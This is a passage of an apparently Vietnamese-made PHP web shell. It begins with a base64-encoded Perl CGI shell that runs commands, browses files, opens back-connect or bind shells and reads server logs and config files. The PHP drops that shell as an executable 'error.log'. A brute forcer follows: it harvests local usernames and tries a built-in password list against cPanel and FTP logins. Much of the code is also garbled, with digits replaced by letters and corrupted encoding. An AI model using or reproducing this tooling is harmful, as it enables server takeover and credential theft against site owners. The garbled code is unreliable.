z6+IHMvXC9cLy9cLy9nOwoJJHN0cmluZz6+IHMvXFxcXC9cXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0KcoViIExpcoREaXIKewoJbXkgJHBhdGggPSAmVHJpbVNsYXNoZXMoJEN6cnJlbnREaXIuJFBhdGhTZXApOwoJbXkgJHJlcoVsdCA9ICI8Zm9ybSBuYW6lPSdmJyBvblN6Ym6pdD6cIkVuYa9kZXIoJaQnKVwiIGFjdGlvbj0nJFNjcmlwdExvYaF0aW9uJzu8coBhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYWihOyBmbai0LXdlaWdodDogYm9sZDsnPlBhdGgeIFsgIiumQWRkTGlua0RpcigiZoVpIikuIiBdIDwvcoBhbju8aWiwdXQgdHlwZT0ndGVudCcgaWQ9JaQnIGihbWU9JaQnIHNpemU9JzQwJyBaYWx6ZT0nJEN6cnJlbnREaXInIC8+PGlucHV0IHRicGU9JahpZGRlbicgbmFtZT0nYScgdmFsdWU9Jad6aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHRicGU9JoN6Ym6pdCcgdmFsdWU9J0NoYWinZSc+PC9mboJtPiI7CglpZigtZCAkcGF0aCkKCXsKCQlteSBAZmihbWUgPSAoKTsKCQlteSBAZGihbWUgPSAoKTsKCQlpZihvcGVuZGlyKERJUiwkcGF0aCkpCgkJewoJCQloaGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQkJewoJCQkJJGY9JHBhdGguJGZpbGU7CgkJCQlpZigtZCAkZikKCQkJCXsKCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJcHVzaChAZmihbWUsJGZpbGUpOwoJCQkJfQoJCQl9CgkJCWNsboNlZGlyKERJUik7CgkJfQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgYa6wIGxjKCRiKSB9IEBmbmFtZTsKCQlAZGihbWUgPSBzboJ0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZGihbWU7CgkJJHJlcoVsdCAuPSAiPGRpdju8dGFibGUgdalkdGg9JzkwJScgYaxhcoM9JaxpcoRkaXInPgoJCTx0ciBzdHlsZT0nYmFjaadyboVuZC6jbaxvcjogIzNlMaUzZSc+PHRoPkZpbGUgTmFtZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPkZpbGUgUaleZTwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPk9obmVyPC90aDuKCQk8dGggdalkdGg9JzEwMCc+UGVybWlzcalvbjwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPkxhcoQgTW9kaWZpZWQ8LoRoPgoJCTx0aCBoaWR0aD0nMjMwJziBYoRpbau8LoRoPjwvdHI+IjsKCQlteSAkcoRibGU9ImivdGxpbmUiOwoJCW6iICRpPTA7CgkJZm9yZWFjaCBteSAkZCAoQGRuYW6lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaWilIikgPyAibm90bGluZSIeICJsaWilIjsKCQkJJGQgPSAmdHJpbSgkZCk7CgkJCSRkaXJuYW6lPSRkOwoJCQlpZigkZCBlcSAiLiuiKSAKCQkJewoJCQkJJGQgPSAmUGFyZWi0Rm9sZGVyKCRwYXRoKTsKCQkJfQoJCQllbHNpZigkZCBlcSAiLiIpIAoJCQl7CgkJCQluZXh0OwoJCQl9CgkJCWVscaUgCgkJCXsKCQkJCSRkID0gJHBhdGguJGQ7CgkJCX0KCQkJJHJlcoVsdCAuPSAiPHRyIGNsYXNzPSckcoRibGUnPjx0ZCBpZD0nRmlsZV8kaScgYaxhcoM9JaRpcic+PGEgIGhyZWY9Jz9hPWd6aSZkPSIuJkVuYa9kZURpcigkZCkuIic+WyAiLiRkaXJuYW6lLiIgXTwvYTu8LoRkPiI7CgkJCSRyZXN6bHQgLj0gIjx0ZDiESVI8LoRkPiI7CgkJCSRyZXN6bHQgLj0gIjx0ZDuiLiZGaWxlToduZXIoJGQpLiI8LoRkPiI7CgkJCSRyZXN6bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm6zXyRpJyBvbmRibGNsaWNrPVwicm6fYahtbaRfZm9ybSh0aGlzLCIuJGkuIiwnIiumRmlsZVBlcm6zKCRkKSuiJywnIiukZGlybmFtZSuiJylcIiA+PHNwYWugbaijbGljaz6cImNobW9kXaZvcm0oIiukaSuiLCciLiRkaXJuYW6lLiInKVwiIDuiLiZGaWxlUGVybXMoJGQpLiI8LoNwYWu+PC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8dGQ+IiumRmlsZUxhcoRNbaRpZmllZCgkZCkuIjwvdGQ+IjsKCQkJJHJlcoVsdCAuPSAiPHRkPjxhIG9uYaxpYas9XCJyZWihbWVfZm9ybSgkaSwnJGRpcmihbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR6cmugZmFscaU7IFwiPlJlbmFtZTwvYTugIHwgPGEgbaijbGljaz6cImlmKCFjbaimaXJtKCdSZW6vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlOo6cIiBocmVmPSc/YT6ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtboZlPSRkaXJuYW6lJziSZW6vdmU8LaE+PC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8LoRyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhYaggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gImivdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZWijbaRlXaJhcaUaNCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiPaRpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0ICu9ICI8dHIgYaxhcoM9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nPaE9Ya9tbWFuZCZkPSIuJkVuYa9kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbiuiJzuiLiRmaWxlLiI8LaE+PC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8dGQ+IiumUGFycaVGaWxlUaleZSgmRmlsZVNpemUoJGYpKSuiPC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8dGQ+IiumRmlsZU9obmVyKCRmKSuiPC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8dGQgaWQ9J0ZpbGVQZXJtc68kaScgbaikYmxjbGljaz6cInJtXaNobW9kXaZvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uYaxpYas9XCJjaG6vZF9mboJtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvcoBhbju8LoRkPiI7CgkJCSRyZXN6bHQgLj0gIjx0ZDuiLiZGaWxlTGFzdE6vZGlmaWVkKCRmKSuiPC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8dGQ+PGEgbaijbGljaz6cInJlbmFtZV9mboJtKCRpLCckZmlsZScsJaYnKTsgcmV0dXJuIGZhbHNlO6wiPlJlbmFtZTwvYTugfCA8YSBocmVmPSc/YT6kbodubG9hZCZvPWdvJmY9IiukZiuiJziEbodubG9hZDwvYTugfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ6JlbW9aZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlOo6cIiBocmVmPSc/YT6ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtboZlPSRmaWxlJziSZW6vdmU8LaE+PC90ZDuiOwoJCQkkcmVzdWx0ICu9ICI8LoRyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN6bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJboBlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuYa9uZicpIG9yICRlcnI9MTsKCW6iIEBjbnpzID0gPGQwbWFpbnM+OwoJYaxvcaUgZDBtYWluczsKCW6iICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgcoRibGU9JaZvbnQeIDE6cHQgVmVyZGFuYTtjbaxvcjogIaZmOTkwMDsnPldhcmipbmcgISBTaGVsbCBpcyB6caVkIHRvIHJlZmVyIGivdCB0byBoYWNrPC9mbai0PjwvaDM+IjsKCWlmICgkZXJyKQoJewoJCSRyZXN6bHQgLj0gICgnPHA+QzB6bGRuXCd0IEJicGFzcyBpdCAsIFNvcnJiPC9wPicpOwoJCXJldHVybiAkcmVzdWx0OwoJfWVscaUKCXsKCQkkcmVzdWx0ICu9ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aDikMG6haWizPC90aDugPHRoPlVzZXI8LoRoPjwvdHI+JzsKCX0KCWZvcmVhYaggbXkgJG9uZSAoQGNuenMpCgl7CgkJaWYoJG9uZSA9fiBtLyuqPopvbmUgIiguKj8pIiB7LykKCQl7CQoJCQkkcoRibGU9ICgkcoRibGUgZXEgImxpbmUiKSA/ICJuboRsaWilIjogImxpbmUiOwoJCQkkZmlsZWihbWU9IHRyaW0oIi9ldGMvdmFsaWFzZXMvIiukMSk7CgkJCSRvdailciA9IGdldHBodWlkKChzdGF0KCRmaWxlbmFtZSkpWzRdKTsKCQkJJHJlcoVsdCAuPSAnPHRyIHN0eWxlPSIkcoRibGUiIHdpZHRoPTUwJTu8dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZaV0PSJfYmxhbmsiPicuJDEuJzwvYTu8LoRkPjx0ZDugJyukboduZXIuJzwvdGQ+PC90cjunOwoJCX0KCX0KCSRyZXN6bHQgLj0gJzwvdGFibGU+JzsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBWaWVoIExvZwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6YiBWaWVoTG9nCnsKCSRFbmNvZGVDdXJyZWi0RGlyID0gRWijbaRlRGlyKCRDdXJyZWi0RGlyKTsKCWlmKCRXaWiOVCkKCXsKCQlyZXR6cmugIjxoMju8Zm9udCBzdHlsZT0nZm9udDogMjBwdCBWZXJkYWihOaNvbG9yOiAjZmYiOTAwOyc+RG9uJoQgcnVuIG9uIFdpbmRvdoM8LaZvbnQ+PC9oMjuiOwoJfQoJbXkgJHJlcoVsdD0iPHRhYmxlPjx0cju8dGg+UGF0aCBMbac8LoRoPjx0aDiTdWJtaXQ8LoRoPjwvdHI+IjsKCW6iIEBwYXRobG9nPSgJJy96coIvbG9jYWwvYXBhYahlLaxvZoMvZXJyboJfbG9nJywKCQkJJy96coIvbG9jYWwvYXBhYahlLaxvZoMvYWNjZXNzXaxvZycsCgkJCScvdXNyLaxvYaFsLaFwYWNoZTIvYa9uZi9odHRwZCijbaimJywKCQkJJy9aYXIvbG9nLah0dHBkLaVycm9yXaxvZycsCgkJCScvdmFyLaxvZy9odHRwZC9hYaNlcoNfbG9nJywKCQkJJy96coIvbG9jYWwvYoBhbmVsLaxvZoMvZXJyboJfbG9nJywKCQkJJy96coIvbG9jYWwvYoBhbmVsLaxvZoMvYWNjZXNzXaxvZycsCgkJCScvdXNyLaxvYaFsLaFwYWNoZS9sbadzLoN6cGhwXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzJywKCQkJJy96coIvbG9jYWwvYoBhbmVsLaxvZoMvcoRhdHNfbG9nJywKCQkJJy96coIvbG9jYWwvYoBhbmVsLaxvZoMvYWNjZXNzXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLaVycm9yXaxvZycsCgkJCScvdXNyLaxvYaFsLaNwYWilbC9sbadzLaxpYaVucaVfbG9nJywKCQkJJy96coIvbG9jYWwvYoBhbmVsLaxvZoMvbG9naWifbG9nJywKCQkJJy96coIvbG9jYWwvYoBhbmVsLaxvZoMvcoRhdHNfbG9nJywKCQkJJy9aYXIvYoBhbmVsLaNwYWilbCijbaimaWcnLAoJCQknLoVzci9sbaNhbC9waHAvbGliLoBocCipbmknLAoJCQknLoVzci9sbaNhbC9waHA6LaxpYi9waHAuaWipJywKCQkJJy9aYXIvbG9nLa6icoFsLa6icoFsLWJpbiisbacnLAoJCQknLoZhci9sbacvbXlzcWwubG9nJywKCQkJJy9aYXIvbG9nLa6icoFsZGVycm9yLmxvZycsCgkJCScvdmFyLaxvZy9teXNxbC9teXNxbCisbacnLAoJCQknLoZhci9sbacvbXlzcWwvbXlzcWwtcaxvdyisbacnLAoJCQknLoZhci9teXNxbCisbacnLAoJCQknLoZhci9saWIvbXlzcWwvbXkuYaimJywKCQkJJy9ldGMvbXlzcWwvbXkuYaimJywKCQkJJy9ldGMvbXkuYaimJywKCQkJKTsKCW6iICRpPTA7CglteSAkcGVybXM7CglteSAkcaw7CglmboJlYWNoIG6iICRsbacgKEBwYXRobG9nKQoJewoJCWlmKC6yICRsbacpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJJHBlcm6zPSI8Zm9udCBzdHlsZT0nYa9sboIeIHJlZDsnPkNhbmNlbDxmbai0PiI7CgkJfQoJCSRyZXN6bHQgLj08PEVORDsKCQk8dHI+CgoJCQk8Zm9ybSBhYoRpbau9IiIgbWV0aG9kPSJwboN0IiBvblN6Ym6pdD0iRWijbaRlcignbG9nJGknKSI+CgkJCTx0ZDu8aWiwdXQgdHlwZT0idGVudCIgaWQ9ImxvZyRpIiBuYW6lPSJjIiBaYWx6ZT0idGFpbCAtMTAwMDAgJGxvZyB8IGdyZXAgJy9oba6lJyIgcaleZT0nNTAnLzu8LoRkPgoJCQk8dGQ+PGlucHV0IGNsYXNzPSJzdWJtaXQiIHRicGU9InN6Ym6pdCIgdmFsdWU9IlRyeSIgLzu8LoRkPgoJCQk8aWiwdXQgdHlwZT0iaGlkZGVuIiBuYW6lPSJhIiBaYWx6ZT0iYa9tbWFuZCIgLzuKCQkJPGlucHV0IHRicGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZWi0RGlyIiAvPgoJCQk8LaZvcm0+CgkJCTx0ZDukcGVybXM8LoRkPgoKCQk8LoRyPgpFTkQKCQkkaSsrOwoJfQoJJHJlcoVsdCAuPSI8LoRhYmxlPiI7CglyZXR6cmugJHJlcoVsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlYoV0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvbatpZXM7CgokUaNyaXB0TG9jYXRpbaugPSAkRUiWeydTQ6JJUFRfTkFNRSd9OwokUaVydmVyTmFtZSA9ICRFTlZ7J6NFUlZFUl9OQU6FJo07CiRMbadpblBhcoNoboJkID0gJGlueydwJo07CiRSdWiDba6tYWikID0gZGVjbaRlXaJhcaUaNCgkaWi7JaMnfSk7CiRUcmFucaZlckZpbGUgPSAkaWi7JaYnfTsKJE9wdGlvbnMgPSAkaWi7Ja8nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjba6tYWikIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhYoRpbaugcoBlYalmaWVkLCB6caUgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiBoaGljaCB0aGUgYa9tbWFuZHMgdalsbCBiZSBleGVjdXRlZAokQoVycmVudERpciA9ICZUcmltUaxhcahlcyhkZWNvZGVfYmFzZTY0KHRyaW0oJGlueydkJo0pKSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aWugbmV6IGtvIGNvIGxlbmggbmFvIQokUnVuQa9tbWFuZD0gJFdpbkiUPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ6bkNvbW6hbmQgZXEgIiIpOwpjaG9tcCgkQoVycmVudERpciA9IGAkQa6kUHdkYCkgaWYoJEN6cnJlbnREaXIgZXEgIiIpOwoKJExvZadlZEluID0gJENvbatpZXN7J6NBVkVEUFdEJo0gZXEgJFBhcoNoboJkOwoKaWYoJEFjdGlvbiBlcSAibG9naWuiIHx8ICEkTG9nZaVkSWupIAkJIyB6caVyIGilZWRzLahhcyB0byBsbadpbgp7CgkmUGVyZm9ybUxvZaluOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZoVpIikgIyBHVUkgZGlyZWN0boJiCnsKCSZQcmludFBhZaVIZWFkZXIoImQiKTsKCWlmKCEkValuTlQpCgl7CgkJJGNobW9kPWludCgkaWi7JaNobW9kJo0pOwoJCWlmKCRjaG6vZCBuZSAwKQoJCXsKCQkJJGNobW9kPWludCgkaWi7JaNobW9kJo0pOwoJCQkkZmlsZT0kQoVycmVudERpciukUGF0aFNlcCukVHJhbnNmZXJGaWxlOwoJCQlpZihjaG6vZCgkYahtbaQsJGZpbGUpKQoJCQl7CgkJCQlwcmludCAiPHJ6bjugRG9uZSEgPC9ydWu+PGJyPiI7CgkJCX6lbHNlCgkJCXsKCQkJCXByaWi0ICI8cnVuPiBTboJyeSEgWW96IGRvbnQgaGFaZSBwZXJtaXNzaW9ucyEgPC9ydWu+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW6lPSRpbnsncmVuYW6lJo07CglpZigkcmVuYW6lIGilICIiKQoJewoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZWihbWUpKQoJCXsKCQkJcHJpbnQgIjxydWu+IERvbmUhIDwvcnVuPjxicjuiOwoJCX6lbHNlCgkJewoJCQlwcmludCAiPHJ6bjugUa9ycnkhIFlvdSBkbai0IGhhdmUgcGVybWlzcalvbnMhIDwvcnVuPjxicjuiOwoJCX0KCX0KCSRyZW6vdmU9JGlueydyZW6vdmUnfTsKCWlmKCRyZW6vdmUgbmUgIiIpCgl7CgkJJHJtID0gJEN6cnJlbnREaXIuJFBhdGhTZXAuJHJlbW9aZTsKCQlpZigtZCAkcm0pCgkJewoJCQkmUm6EaXIoJHJtKTsKCQl9ZWxzZQoJCXsKCQkJaWYodWisaWirKCRybSkpCgkJCXsKCQkJCXByaWi0ICI8cnVuPiBEbailISA8LoJ6bju8YnI+IjsKCQkJfWVscaUKCQkJewoJCQkJcHJpbnQgIjxydWu+IFNvcnJiISBZboUgZG9udCBoYXZlIHBlcm6pcoNpbaizISA8LoJ6bju8YnI+IjsKCQkJfQkJCQoJCX0KCX0KCXByaWi0ICZMaXN0RGlyOwoKfQplbHNpZigkQWN0aW9uIGVxICJjba6tYWikIikJCQkJIAkjIHVzZXIgdaFudHMgdG8gcnVuIGEgYa9tbWFuZAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmRXhlYoV0ZUNvbW6hbmQ7Cn0KZWxzaWYoJEFjdGlvbiBlcSAicaFaZSIpCQkJCSAJIyB6caVyIHdhbnRzIHRvIHNhdmUgYSBmaWxlCnsKCSZQcmludFBhZaVIZWFkZXI7CglpZigmUaFaZUZpbGUoJGlueydkYXRhJo0sJGlueydmaWxlJo0pKQoJewoJCXByaWi0ICI8cnVuPiBEbailISA8LoJ6bju8YnI+IjsKCX6lbHNlCgl7CgkJcHJpbnQgIjxydWu+IFNvcnJiISBZboUgZG9udCBoYXZlIHBlcm6pcoNpbaizISA8LoJ6bju8YnI+IjsKCX0KCXByaWi0ICZMaXN0RGlyOwp9ZWxzaWYoJEFjdGlvbiBlcSAidXBsbaFkIikgCQkJCQkjIHVzZXIgdaFudHMgdG8gdXBsbaFkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CglwcmludCAmVXBsbaFkRmlsZTsKfWVscalmKCRBYoRpbaugZXEgImJhYatiaWikIikgCQkJCSMgdXNlciBoYWi0cyB0byBiYWNrIGNvbmilYoQgboIgYmluZCBwboJ0CnsKCSZQcmludFBhZaVIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaWi0ICZCYWNrQmluZDsKfWVscalmKCRBYoRpbaugZXEgImJydXRlZm9yYaVyIikgCQkJIyB6caVyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZaVIZWFkZXI7CglwcmludCAmQnJ6dGVGboJjZXI7Cn6lbHNpZigkQWN0aW9uIGVxICJkbodubG9hZCIpIAkJCQkjIHVzZXIgdaFudHMgdG8gZG9obmxvYWQgYSBmaWxlCnsKCXByaWi0ICZEbodubG9hZEZpbGU7Cn6lbHNpZigkQWN0aW9uIGVxICJjaGVjaaxvZyIpIAkJCQkjIHVzZXIgdaFudHMgdG8gdmlldyBsbacgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMbac7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWlucoVzZXIiKSAJCQkjIHVzZXIgdaFudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZaVIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn6lbHNpZigkQWN0aW9uIGVxICJsbadvdXQiKSAJCQkJIyB6caVyIHdhbnRzIHRvIGxvZa96dAp7CgkmUGVyZm9ybUxvZa96dDsKfQomUHJpbnRQYWdlRm9vdGVyOwo=
2683';
2684 $file = fopen("error.log", "w+");
2685 $write = fwrite($file, baseeu_decode($pythonp));
2686 fclose($file);
2687 chmod("error.log", 07ii);
2688 echo "<iframe src=error/error.log width=600% height=7a0px frameborder=0></iframe> ";
2689}
2690// Brute
2691
2692elseif ($action == 'brute') {
2693
2694formhead(array('title'=>'Brute Forcer'));
2695
2696 makehide('action','brute');
2697
2698 makehide('dir',$brute);
2699
2700@ini_set('memory_limit', 6000000000000);
2701
2702$connect_timeout=i;
2703
2704@set_time_limit(0);
2705
2706$submit = $_REQUEST['submit'];
2707
2708$users = $_REQUEST['users'];
2709
2710$pass = $_REQUEST['passwords'];
2711
2712$target = $_REQUEST['target'];
2713
2714$option = $_REQUEST['option'];
2715
2716
2717
2718
2719
2720$passlist = "6aopass
2721
27226ao!@#
2723
27246aoadmin
2725
27266aoabc
2727
27286aouieadmin
2729
27306aouiiuoa6
2731
27326aouuoa6
2733
2734pass6ao
2735
2736admin
2737
2738admincp
2739
2740administrator
2741
2742matkhau
2743
2744passadmin
2745
2746p@ssword
2747
2748password
2749
275006aoui
2751
27526aouie
2753
27546aouie7
2755
27566aouie78
2757
27586aouie789
2759
27606aouie7890
2761
2762666666
2763
2764000000
2765
2766aaaaaa
2767
2768oooooo
2769
2770uuuuuu
2771
2772iiiiii
2773
2774eeeeee
2775
2776777777
2777
2778888888
2779
2780999999
2781
27826ao6ao
2783
2784aouaou
2785
2786ouioui
2787
2788uieuie
2789
2790ie7ie7
2791
2792e78e78
2793
2794789789
2795
27966aooa6
2797
2798uieeiu
2799
2800eiuoa6
2801
28027eiuoa6
2803
280487eiuoa6
2805
2806987eiuoa6
2807
28080987eiuoa6
2809
2810admin6ao
2811
2812admin6aouie
2813
2814abcdef
2815
2816abcabc
2817
2818!@#!@#
2819
2820!@#$%^
2821
2822!@#$%^&*(
2823
2824!@#$$#@!
2825
2826abc6ao
2827
2828anhyeuem
2829
2830iloveyou
2831
2832admin
2833
2834administrator
2835
2836admincp
2837
2838cpanel
2839
2840adminx
2841
2842admins
2843
2844password
2845
2846passwords
2847
2848passw0rd
2849
2850p@ssw0rd
2851
2852p@ssword
2853
2854khongco
2855
2856aiai6oai
2857
2858passw0rds";
2859
2860if($target == ''){
2861
2862$target = 'localhost';
2863
2864}
2865
2866print " <div align='center'>
2867
2868<form method='post' style='border: 6px solid #000000'><br><br>
2869
2870<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#9ee667 cellPadding=i width='u0%' bgColor=#o0o0o0 borderColorLight=#9ee667 border=6><tr><td>
2871
2872<b> Target : </font><input type='text' name='target' size='6e' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
2873
2874<div align='center'><br>
2875
2876<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#9ee667 cellPadding=i width='i0%' bgColor=#o0o0o0 borderColorLight=#9ee667 border=6>
2877
2878<tr>
2879
2880<td align='center'>
2881
2882<b>Username</b></td>
2883
2884<td>
2885
2886<p align='center'>
2887
2888<b>Password</b></td>
2889
2890</tr>
2891
2892</table>
2893
2894<p align='center'>
2895
2896<textarea rows='a0' name='users' cols='ai' style='border: apx solid #6D6D6D; background-color: #000000; color:#C0C0C0'>";
2897
2898$i = 0;
2899
2900while ($i < e0000) {
2901
2902
2903
2904 $line = posix_getpwuid($i);
2905
2906 if (!empty($line)) {
2907
2908
2909
2910 while (list ($key, $vba_etcpwd) = each($line)){
2911
2912 echo "".$vba_etcpwd."\n";
2913
2914 break;
2915
2916 }
2917
2918
2919
2920 }
2921
2922
2923
2924 $i++;
2925
2926}
2927
2928echo "
2929
2930</textarea>
2931
2932<textarea rows='a0' name='passwords' cols='ai' style='border: apx solid #6D6D6D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
2933
2934<br>
2935
2936<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
2937
2938<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
2939
2940</td></tr></table></td></tr></form><p align= 'left'>";
2941
2942?>
2943
2944<?php
2945
2946function ftp_check($host,$user,$pass,$timeout){
2947
2948$ch = curl_init();
2949
2950curl_setopt($ch, CURLOPT_URL, "ftp://$host");
2951
2952curl_setopt($ch, CURLOPT_RETURNTRANSFER, 6);
2953
2954curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2955
2956curl_setopt($ch, CURLOPT_FTPLISTONLY, 6);
2957
2958curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2959
2960curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2961
2962curl_setopt($ch, CURLOPT_FAILONERROR, 6);
2963
2964$data = curl_exec($ch);
2965
2966if ( curl_errno($ch) == a8 ) {
2967
2968
2969
2970print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2971
2972exit;}
2973
2974
2975
2976elseif ( curl_errno($ch) == 0 ){
2977
2978
2979
2980p("<b>[ parkhiipz@gmail.com ]# </b>
2981
2982<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:a08a target=_blank>login</a></b><br>");
2983
2984}
2985
2986curl_close($ch);}
2987
2988
2989
2990function cpanel_check($host,$user,$pass,$timeout){
2991
2992$ch = curl_init();
2993
2994curl_setopt($ch, CURLOPT_URL, "http://$host:a08a");
2995
2996curl_setopt($ch, CURLOPT_RETURNTRANSFER, 6);
2997
2998curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2999
3000curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
3001
3002curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
3003
3004curl_setopt($ch, CURLOPT_FAILONERROR, 6);
3005
3006$data = curl_exec($ch);
3007
3008if ( curl_errno($ch) == a8 ) {
3009
3010print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
3011
3012exit;}
3013
3014elseif ( curl_errno($ch) == 0 ){
3015
3016
3017
3018p("<b>[ parkhiipz@gmail.com ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
3019
3020
3021
3022if(isset($submit) && !empty($submit)){
3023
3024
3025
3026$userlist = explode ("\n" , $users );
3027
3028$passlist = explode ("\n" , $pass );
3029
3030p('<b>[ parkhiipz@gmail.com ]# Attacking ...</font></b><br>');
3031
3032foreach ($userlist as $user) {
3033
3034$_user = trim($user);
3035
3036foreach ($passlist as $password ) {
3037
3038$_pass = trim($password);
3039
3040if($option == "ftp"){
3041
3042ftp_check($target,$_user,$_pass,$connect_timeout);
3043
3044}
3045
3046if ($option == "cpanel")
3047
3048{
3049
3050cpanel_check($target,$_user,$_pass,$connect_timeout);
3051
3052}
3053
3054}
3055
3056}
3057
3058}
3059
3060
3061
3062 formfoot();
3063
3064}
